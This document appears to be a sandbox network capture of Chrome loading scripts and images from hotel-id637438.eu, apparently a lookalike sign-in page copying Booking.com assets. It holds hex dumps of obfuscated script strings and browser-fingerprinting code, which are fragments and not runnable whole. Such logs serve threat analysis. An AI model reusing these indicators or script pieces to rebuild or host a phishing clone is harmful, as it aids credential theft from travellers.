70 34 3b 5c 78 32 Data Ascii: cript','2.5.29.15','1nAhaFQ','tts','Swis721\x20Hv\x20BT','1uZLoRx','2.5.29.31','2.5.29.24','subjectDirectoryAttributes','portWithColon','PMingLiU','contentInfoValidator','setUTCHours','SHA1','IrisUPC','forge.pki.UnknownCertificateAuthority','video/mp4;\x2
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 50 52 49 56 41 54 45 5c 78 32 30 4b 45 59 27 2c 27 38 31 32 36 30 69 61 45 79 4d 77 27 2c 27 73 65 72 76 65 72 5f 6e 61 6d 65 27 2c 27 77 72 69 74 65 27 2c 27 41 72 69 61 6c 5c 78 32 30 43 59 52 27 2c 27 3c 3f 3e 27 2c 27 63 72 65 61 74 65 43 6f 6e 6e 65 63 74 69 6f 6e 27 2c 27 4a 53 4f 4e 45 6e 63 6f 64 65 72 27 2c 27 53 48 41 2d 33 38 34 27 2c 27 64 65 63 6f 64 65 36 34 27 2c 27 63 6c 69 65 6e 74 43 65 72 74 69 66 69 63 61 74 65 27 2c 27 63 61 63 68 65 27 2c 27 63 52 4c 44 69 73 74 72 69 62 75 74 69 6f 6e 50 6f 69 6e 74 73 27 2c 27 42 72 6f 77 73 65 72 43 6f 6c 6c 65 63 74 6f 72 27 2c 27 77 72 61 70 52 73 61 50 72 69 76 61 74 65 4b 65 79 27 2c 27 43 61 6e 6e 6f 74 5c 78 32 30 65 6e 63 72 79 70 74 5c 78 32 30 70 72 69 76 61 74 65 5c 78 32 30 6b 65 79 2e Data Ascii: PRIVATE\x20KEY','81260iaEyMw','server_name','write','Arial\x20CYR','<?>','createConnection','JSONEncoder','SHA-384','decode64','clientCertificate','cache','cRLDistributionPoints','BrowserCollector','wrapRsaPrivateKey','Cannot\x20encrypt\x20private\x20key.
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 27 2c 27 70 72 69 76 61 74 65 4b 65 79 54 6f 41 73 6e 31 27 2c 27 49 45 45 45 5f 50 4f 4c 59 4e 4f 4d 49 41 4c 27 2c 27 6d 61 63 41 6c 67 6f 72 69 74 68 6d 27 2c 27 36 31 37 32 32 31 72 71 73 77 4e 51 27 2c 27 72 65 63 6f 72 64 73 27 2c 27 64 65 74 65 63 74 49 66 72 61 6d 65 45 76 61 73 69 6f 6e 27 2c 27 69 74 65 72 61 74 6f 72 27 2c 27 73 74 61 72 74 27 2c 27 31 30 39 7a 4b 77 41 71 61 27 2c 27 72 65 73 75 6d 69 6e 67 27 2c 27 75 73 65 50 75 72 65 4a 61 76 61 53 63 72 69 70 74 27 2c 27 69 6e 73 74 72 75 63 74 69 6f 6e 43 6f 64 65 27 2c 27 54 65 6c 65 6d 65 74 72 79 45 6e 63 6f 64 69 6e 67 54 69 6d 65 27 2c 27 53 75 62 6a 65 63 74 50 75 62 6c 69 63 4b 65 79 49 6e 66 6f 2e 73 75 62 6a 65 63 74 50 75 62 6c 69 63 4b 65 79 2e 52 53 41 50 75 62 6c 69 63 4b 65 Data Ascii: ','privateKeyToAsn1','IEEE_POLYNOMIAL','macAlgorithm','617221rqswNQ','records','detectIframeEvasion','iterator','start','109zKwAqa','resuming','usePureJavaScript','instructionCode','TelemetryEncodingTime','SubjectPublicKeyInfo.subjectPublicKey.RSAPublicKe
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 62 65 64 64 65 64 5c 78 32 30 50 44 56 29 27 2c 27 43 6f 6e 74 65 6e 74 54 79 70 65 27 2c 27 2f 74 65 6c 65 6d 65 74 72 79 27 2c 27 62 69 6e 64 54 6f 75 63 68 48 61 6e 64 6c 65 72 27 2c 27 63 65 72 74 69 66 69 63 61 74 65 5f 72 65 71 75 65 73 74 27 2c 27 72 65 73 65 72 76 65 64 27 2c 27 43 61 6e 6e 6f 74 5c 78 32 30 72 65 61 64 5c 78 32 30 50 4b 43 53 23 31 32 5c 78 32 30 50 46 58 2e 5c 78 32 30 41 53 4e 2e 31 5c 78 32 30 6f 62 6a 65 63 74 5c 78 32 30 69 73 5c 78 32 30 6e 6f 74 5c 78 32 30 61 6e 5c 78 32 30 50 4b 43 53 23 31 32 5c 78 32 30 50 46 58 2e 27 2c 27 50 72 69 76 61 74 65 4b 65 79 49 6e 66 6f 2e 70 72 69 76 61 74 65 4b 65 79 41 6c 67 6f 72 69 74 68 6d 27 2c 27 75 6e 69 6d 70 6c 65 6d 65 6e 74 65 64 21 27 2c 27 69 6e 63 72 65 6d 65 6e 74 27 2c 27 Data Ascii: bedded\x20PDV)','ContentType','/telemetry','bindTouchHandler','certificate_request','reserved','Cannot\x20read\x20PKCS#12\x20PFX.\x20ASN.1\x20object\x20is\x20not\x20an\x20PKCS#12\x20PFX.','PrivateKeyInfo.privateKeyAlgorithm','unimplemented!','increment','
2024-07-08 22:43:29 UTC	316	IN	Data Raw: 32 30 74 65 6c 65 6d 65 74 72 79 27 2c 27 44 69 6c 6c 65 6e 69 61 55 50 43 27 2c 27 6b 64 66 32 27 2c 27 54 45 53 54 5f 53 54 52 49 4e 47 27 2c 27 31 2e 33 2e 36 2e 31 2e 34 2e 31 2e 33 31 31 2e 36 30 2e 32 2e 31 2e 32 27 2c 27 49 6e 74 65 67 65 72 5c 78 32 30 74 6f 6f 5c 78 32 30 6c 61 72 67 65 3b 5c 78 32 30 6d 61 78 5c 78 32 30 69 73 5c 78 32 30 33 32 2d 62 69 74 73 2e 27 2c 27 64 65 70 72 65 63 61 74 65 27 2c 27 44 45 53 2d 43 42 43 27 2c 27 65 78 74 65 6e 73 69 6f 6e 27 2c 27 66 69 6c 6c 27 2c 27 53 61 66 65 42 61 67 2e 62 61 67 56 61 6c 75 65 27 2c 27 64 61 74 61 3a 27 2c 27 77 65 62 27 2c 27 63 68 61 72 43 6f 64 65 27 2c 27 42 6c 61 63 6b 6f 61 6b 5c 78 32 30 53 74 64 27 2c 27 72 6e 67 27 2c 27 5c 78 32 30 62 79 74 65 73 5c 78 32 30 61 6e 64 5c 78 Data Ascii: 20telemetry','DilleniaUPC','kdf2','TEST_STRING','1.3.6.1.4.1.311.60.2.1.2','Integer\x20too\x20large;\x20max\x20is\x2032-bits.','deprecate','DES-CBC','extension','fill','SafeBag.bagValue','data:','web','charCode','Blackoak\x20Std','rng','\x20bytes\x20and\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49745	104.21.44.120	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:29 UTC	354	OUT	GET /static/us.png HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:29 UTC	711	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:29 GMT Content-Type: image/png Content-Length: 642 Connection: close last-modified: Sat, 06 Jul 2024 13:10:31 GMT etag: "f95f8346218da320d6bf05d9ab261516" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6879 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cJdXTZ85%2BRg4%2F83qhtMEzZ%2F8Hkl4IA%2Fx24AoF0Orb67fNPeYoEANj9SAMOgYstFWaGw7R0jCjwAoCQLOTZ5UZkQ33Ta5XLR%2BDJKS8PUlzbO7khsaNtL90U07T9FloHg8G9%2BYjQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397ec99e8c443-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:29 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49748	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:29 UTC	629	OUT	GET /static/asset.76f4cfe389ea593cf33909bbcedb7949.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:29 UTC	666	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 39786 Connection: close last-modified: Sat, 06 Jul 2024 13:10:49 GMT etag: "06dec0308fc561b42b286af4eb5ad9d8" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4nZ%2BX6ZLPJ38bzZYSJbt9dx2JKxQQWrsuPtMKcYMFjrE9vugprs86CYWWfy8V9juC6oK5pvfyQCFGI2GZB%2BT8yCqjHH4uNjweE2ipCbT9TyuRL%2B3Xyj2V%2B2saCjEPPSnT0EZ6g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397ecebb741f5-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:29 UTC	703	IN	Data Raw: 76 61 72 20 24 6a 73 63 6f 6d 70 3d 7b 73 63 6f 70 65 3a 7b 7d 7d 3b 24 6a 73 63 6f 6d 70 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 6d 2c 6c 29 7b 69 66 28 6c 2e 67 65 74 7c 7c 6c 2e 73 65 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 53 33 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 67 65 74 74 65 72 73 20 61 6e 64 20 73 65 74 74 65 72 73 2e 22 29 3b 6b 21 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 26 26 6b 21 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 26 26 28 6b 5b 6d 5d 3d Data Ascii: var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(k,m,l){if(l.get\|\|l.set)throw new TypeError("ES3 does not support getters and setters.");k!=Array.prototype&&k!=Object.prototype&&(k[m]=
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 6b 3f 6b 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 2c 64 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 6c 65 6e 67 74 68 7c 7c 30 3b 30 3e 6c 26 26 28 6c 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 61 2b 6c 29 29 3b 69 66 28 6e 75 6c 6c 3d 3d 64 7c 7c 64 3e 61 29 64 3d 61 3b 64 3d 4e 75 6d 62 65 72 28 64 29 3b 30 3e 64 26 26 28 64 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 61 2b 64 29 29 3b 66 6f 72 28 6c 3d 4e 75 6d 62 65 72 28 6c 7c 7c 30 29 3b 6c 3c 64 3b 6c 2b 2b 29 74 68 69 73 5b 6c 5d 3d 6b 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 7d 2c 22 65 73 36 2d 69 6d 70 6c 22 2c 22 65 73 33 22 29 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6b 28 64 2c Data Ascii: y.prototype.fill",function(k){return k?k:function(k,l,d){var a=this.length\|\|0;0>l&&(l=Math.max(0,a+l));if(null==d\|\|d>a)d=a;d=Number(d);0>d&&(d=Math.max(0,a+d));for(l=Number(l\|\|0);l<d;l++)this[l]=k;return this}},"es6-impl","es3");(function(){function k(d,
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 62 6b 6e 67 5f 62 66 70 22 2c 62 2c 7b 65 78 70 69 72 65 73 3a 33 36 30 30 2c 70 61 74 68 3a 22 2f 22 2c 64 6f 6d 61 69 6e 3a 22 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 7d 29 3b 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 62 29 7d 29 7d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 74 61 6e 64 61 6c 6f 6e 65 2c 62 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 63 3d 2f 73 61 66 61 72 69 2f 2e 74 65 73 74 28 62 29 3b 72 65 74 75 72 6e 2f 69 70 68 6f 6e 65 7c 69 70 6f 64 7c 69 70 61 64 2f 2e 74 65 73 74 28 62 29 26 26 21 61 26 26 21 63 7d 29 28 29 26 Data Ascii: bkng_bfp",b,{expires:3600,path:"/",domain:".booking.com"});e&&"function"===typeof e&&e.call(null,b)})}(function(){var a=window.navigator.standalone,b=window.navigator.userAgent.toLowerCase(),c=/safari/.test(b);return/iphone\|ipod\|ipad/.test(b)&&!a&&!c})()&
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 26 28 67 5b 68 5d 3d 64 5b 68 5d 29 3b 66 6f 72 28 68 20 69 6e 20 62 29 67 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 68 2c 62 5b 68 5d 29 3b 67 2e 73 65 6e 64 28 66 29 3b 72 65 74 75 72 6e 20 67 7d 7d 2c 0a 6e 65 77 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 29 7b 62 3d 62 7c 7c 7b 7d 3b 62 2e 70 61 74 68 7c 7c 28 62 2e 70 61 74 68 3d 22 2f 22 29 3b 76 61 72 20 66 3d 22 22 3b 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 62 2e 65 78 70 69 72 65 73 26 26 28 66 3d 6e 65 77 Data Ascii: &(g[h]=d[h]);for(h in b)g.setRequestHeader(h,b[h]);g.send(f);return g}},new (function(){var d=function(){};d.prototype={set:function(a,c,b){if("undefined"!==typeof document.cookie){b=b\|\|{};b.path\|\|(b.path="/");var f="";"number"===typeof b.expires&&(f=new
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 61 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 5b 5d 2c 62 3d 74 68 69 73 3b 74 68 69 73 2e 73 61 66 65 50 72 6f 63 65 73 73 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 3d 62 2e 75 73 65 72 41 67 65 6e 74 4b 65 79 28 63 29 7d 29 3b 74 68 69 73 2e 73 61 66 65 50 72 6f 63 65 73 73 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 3d 62 2e 6c 61 6e 67 75 61 67 65 4b 65 79 28 63 29 7d 29 3b 74 68 69 73 2e 73 61 66 65 50 72 6f 63 65 73 73 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 3d 62 2e 63 6f 6c 6f 72 44 65 70 74 68 4b 65 79 28 63 29 7d 29 3b 0a 74 68 69 73 2e 73 61 66 65 50 72 6f 63 65 73 73 28 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: :function(a){window.console&&console.log(a)},get:function(a){var c=[],b=this;this.safeProcess(function(){c=b.userAgentKey(c)});this.safeProcess(function(){c=b.languageKey(c)});this.safeProcess(function(){c=b.colorDepthKey(c)});this.safeProcess(function()
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 41 67 65 6e 74 29 3b 72 65 74 75 72 6e 20 61 7d 2c 6c 61 6e 67 75 61 67 65 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 4c 61 6e 67 75 61 67 65 7c 7c 61 2e 70 75 73 68 28 6e 61 76 69 67 61 74 6f 72 2e 6c 61 6e 67 75 61 67 65 29 3b 72 65 74 75 72 6e 20 61 7d 2c 63 6f 6c 6f 72 44 65 70 74 68 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 43 6f 6c 6f 72 44 65 70 74 68 7c 7c 61 2e 70 75 73 68 28 73 63 72 65 65 6e 2e 63 6f 6c 6f 72 44 65 70 74 68 29 3b 72 65 74 75 72 6e 20 61 7d 2c 73 63 72 65 65 6e 52 65 73 6f 6c 75 74 69 6f 6e 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 Data Ascii: Agent);return a},languageKey:function(a){this.options.excludeLanguage\|\|a.push(navigator.language);return a},colorDepthKey:function(a){this.options.excludeColorDepth\|\|a.push(screen.colorDepth);return a},screenResolutionKey:function(a){return this.options.e
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 69 6f 72 26 26 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 64 64 42 65 68 61 76 69 6f 72 26 26 61 2e 70 75 73 68 28 22 61 64 64 42 65 68 61 76 69 6f 72 4b 65 79 22 29 3b 0a 72 65 74 75 72 6e 20 61 7d 2c 6f 70 65 6e 44 61 74 61 62 61 73 65 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 21 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 4f 70 65 6e 44 61 74 61 62 61 73 65 26 26 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 26 26 61 2e 70 75 73 68 28 22 6f 70 65 6e 44 61 74 61 62 61 73 65 22 29 3b 72 65 74 75 72 6e 20 61 7d 2c 63 70 75 43 6c 61 73 73 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 43 70 75 43 6c 61 73 73 7c 7c 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 4e Data Ascii: ior&&document.body.addBehavior&&a.push("addBehaviorKey");return a},openDatabaseKey:function(a){!this.options.excludeOpenDatabase&&window.openDatabase&&a.push("openDatabase");return a},cpuClassKey:function(a){this.options.excludeCpuClass\|\|a.push(this.getN
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 74 73 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 69 66 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 46 6c 61 73 68 46 6f 6e 74 73 7c 7c 21 74 68 69 73 2e 68 61 73 53 77 66 4f 62 6a 65 63 74 4c 6f 61 64 65 64 28 29 7c 7c 21 74 68 69 73 2e 68 61 73 4d 69 6e 46 6c 61 73 68 49 6e 73 74 61 6c 6c 65 64 28 29 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 73 77 66 50 61 74 68 29 72 65 74 75 72 6e 20 63 28 61 29 3b 74 68 69 73 2e 6c 6f 61 64 53 77 66 41 6e 64 44 65 74 65 63 74 46 6f 6e 74 73 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 61 2e 70 75 73 68 28 62 2e 6a 6f 69 6e 28 22 3b 22 29 29 3b 0a 63 28 61 29 7d 29 7d 2c 6a 73 46 6f 6e 74 73 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: tsKey:function(a,c){if(this.options.excludeFlashFonts\|\|!this.hasSwfObjectLoaded()\|\|!this.hasMinFlashInstalled()\|\|"undefined"===typeof this.options.swfPath)return c(a);this.loadSwfAndDetectFonts(function(b){a.push(b.join(";"));c(a)})},jsFontsKey:function(
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 68 61 72 64 46 61 73 68 69 6f 6e 20 42 54 3b 42 65 72 6e 68 61 72 64 4d 6f 64 20 42 54 3b 42 69 67 20 43 61 73 6c 6f 6e 3b 42 69 6e 6e 65 72 44 3b 42 69 74 73 74 72 65 61 6d 20 56 65 72 61 20 53 61 6e 73 20 4d 6f 6e 6f 3b 42 6c 61 63 6b 61 64 64 65 72 20 49 54 43 3b 42 6c 61 69 72 4d 64 49 54 43 20 54 54 3b 42 6f 64 6f 6e 69 20 37 32 3b 42 6f 64 6f 6e 69 20 37 32 20 4f 6c 64 73 74 79 6c 65 3b 42 6f 64 6f 6e 69 20 37 32 20 53 6d 61 6c 6c 63 61 70 73 3b 42 6f 64 6f 6e 69 20 4d 54 3b 42 6f 64 6f 6e 69 20 4d 54 20 42 6c 61 63 6b 3b 42 6f 64 6f 6e 69 20 4d 54 20 43 6f 6e 64 65 6e 73 65 64 3b 42 6f 64 6f 6e 69 20 4d 54 20 50 6f 73 74 65 72 20 43 6f 6d 70 72 65 73 73 65 64 3b 42 6f 6f 6b 20 41 6e 74 69 71 75 61 3b 42 6f 6f 6b 6d 61 6e 20 4f 6c 64 20 53 74 79 6c Data Ascii: hardFashion BT;BernhardMod BT;Big Caslon;BinnerD;Bitstream Vera Sans Mono;Blackadder ITC;BlairMdITC TT;Bodoni 72;Bodoni 72 Oldstyle;Bodoni 72 Smallcaps;Bodoni MT;Bodoni MT Black;Bodoni MT Condensed;Bodoni MT Poster Compressed;Book Antiqua;Bookman Old Styl
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 69 78 65 64 73 79 73 3b 46 4f 4e 54 49 4e 3b 46 6f 6f 74 6c 69 67 68 74 20 4d 54 20 4c 69 67 68 74 3b 46 6f 72 74 65 3b 46 72 61 6e 6b 6c 69 6e 20 47 6f 74 68 69 63 3b 46 72 61 6e 6b 6c 69 6e 20 47 6f 74 68 69 63 20 42 6f 6f 6b 3b 46 72 61 6e 6b 6c 69 6e 20 47 6f 74 68 69 63 20 44 65 6d 69 3b 46 72 61 6e 6b 6c 69 6e 20 47 6f 74 68 69 63 20 44 65 6d 69 20 43 6f 6e 64 3b 46 72 61 6e 6b 6c 69 6e 20 47 6f 74 68 69 63 20 48 65 61 76 79 3b 46 72 61 6e 6b 6c 69 6e 20 47 6f 74 68 69 63 20 4d 65 64 69 75 6d 3b 46 72 61 6e 6b 6c 69 6e 20 47 6f 74 68 69 63 20 4d 65 64 69 75 6d 20 43 6f 6e 64 3b 46 72 61 6e 6b 52 75 65 68 6c 3b 46 72 61 6e 73 69 73 63 61 6e 3b 46 72 65 65 66 72 6d 37 32 31 20 42 6c 6b 20 42 54 3b 46 72 65 65 73 69 61 55 50 43 3b 46 72 65 65 73 74 79 Data Ascii: ixedsys;FONTIN;Footlight MT Light;Forte;Franklin Gothic;Franklin Gothic Book;Franklin Gothic Demi;Franklin Gothic Demi Cond;Franklin Gothic Heavy;Franklin Gothic Medium;Franklin Gothic Medium Cond;FrankRuehl;Fransiscan;Freefrm721 Blk BT;FreesiaUPC;Freesty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49747	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:29 UTC	602	OUT	GET /static/otBannerSdk.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:29 UTC	663	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 413096 Connection: close last-modified: Sat, 06 Jul 2024 13:10:37 GMT etag: "700744460110815810eabc146964c6e1" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rpAxIN7tS5g8gIrWfBjOX4wECH5I%2BKQz%2B1Td2i5hIEOsP0vjlz6DLT91NRuKCoebdbVVIiBBl2fdbfiOx7GxeVq8lrlsw4pegw6axb5X37o4pKQaMv43JpaW55X3j5pR7Uw1UA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397ecf9037d0c-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:29 UTC	706	IN	Data Raw: 2f 2a 2a 20 0a 20 2a 20 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 0a 20 2a 20 76 32 30 32 33 30 35 2e 31 2e 30 0a 20 2a 20 62 79 20 4f 6e 65 54 72 75 73 74 20 4c 4c 43 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 33 20 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 41 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 41 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 28 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 74 29 4f 62 6a Data Ascii: /** * onetrust-banner-sdk * v202305.1.0 * by OneTrust LLC * Copyright 2023 */!function(){"use strict";var A=function(e,t){return(A=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in t)Obj
